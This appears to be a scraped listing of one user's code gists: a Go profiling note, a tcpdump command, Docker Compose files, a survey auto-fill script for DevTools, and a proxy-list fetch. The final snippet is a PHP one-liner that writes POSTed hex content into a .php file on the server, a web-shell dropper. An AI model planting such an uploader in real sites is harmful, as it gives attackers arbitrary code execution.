- Thêm đoạn code sau vào chương trình:
import (
_ "net/http/pprof"
)
func main() {
go func() {
log.Println(http.ListenAndServe("localhost:6060", nil))| for i in range(1,3000000): | |
| print(f"\r{i}", end="") |
| #!/bin/bash | |
| sudo tcpdump -ni tun0 icmp | |
| # tun0 can be changed with your internet-facing interface |
| #!/bin/bash | |
| SOURCE_FILE="access_log_1000.log" | |
| TARGET_FILE="/mnt/c/Users/teebow1e/IdeaProjects/project1-soict/webserver.log" | |
| #TARGET_FILE="target.log" | |
| CHUNK_SIZE=5 | |
| while true; do | |
| chunk=$(head -n "$CHUNK_SIZE" "$SOURCE_FILE") | |
| if [ -n "$chunk" ]; then |
| version: '3.6' | |
| services: | |
| jenkins: | |
| restart: on-failure | |
| container_name: jenkins | |
| image: jenkins/jenkins:latest | |
| volumes: | |
| - ./jenkins/data:/var/jenkins_home | |
| - ./jenkins/docker-certs:/certs/client | |
| ports: |
| // How to use | |
| // Open DevTools | |
| // Paste this code | |
| // The website will automatically redirect, wait until page loads, paste | |
| // Keep doing until there is no more feedback form | |
| // TODO: Auto redirect and run until detect finish msg | |
| // Script V1: Mass choosing, result can be conflict | |
| function runSurvey() { |
| #!/bin/bash | |
| curl "https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&country=vn&proxy_format=protocolipport&format=text&timeout=20000" -s | sed -E 's#^(http|socks4|https|socks5)://##' | cut -d':' -f1 |
| version: '3.7' | |
| services: | |
| mysql_db_container: | |
| image: mysql:latest | |
| environment: | |
| MYSQL_ROOT_PASSWORD: rootpassword | |
| ports: | |
| - 33069:3306 | |
| adminer_container: | |
| image: adminer:latest |
## PHP Upload a file Using base64-encoded content
base64_decodemakes lengthy base64-blob to fail and corrupt the whole file.
<?php isset($_POST['a']) && ($decoded_string = hex2bin($_POST['a'])) !== false && ($file_path = './' . 'hzhz' . '.php') && ($file = fopen($file_path, 'w')) && (fwrite($file, $decoded_string) !== false) ? fclose($file) && print('File created successfully: ' . basename($file_path)) : print('Error: Unable to decode hex string or create file.'); ?>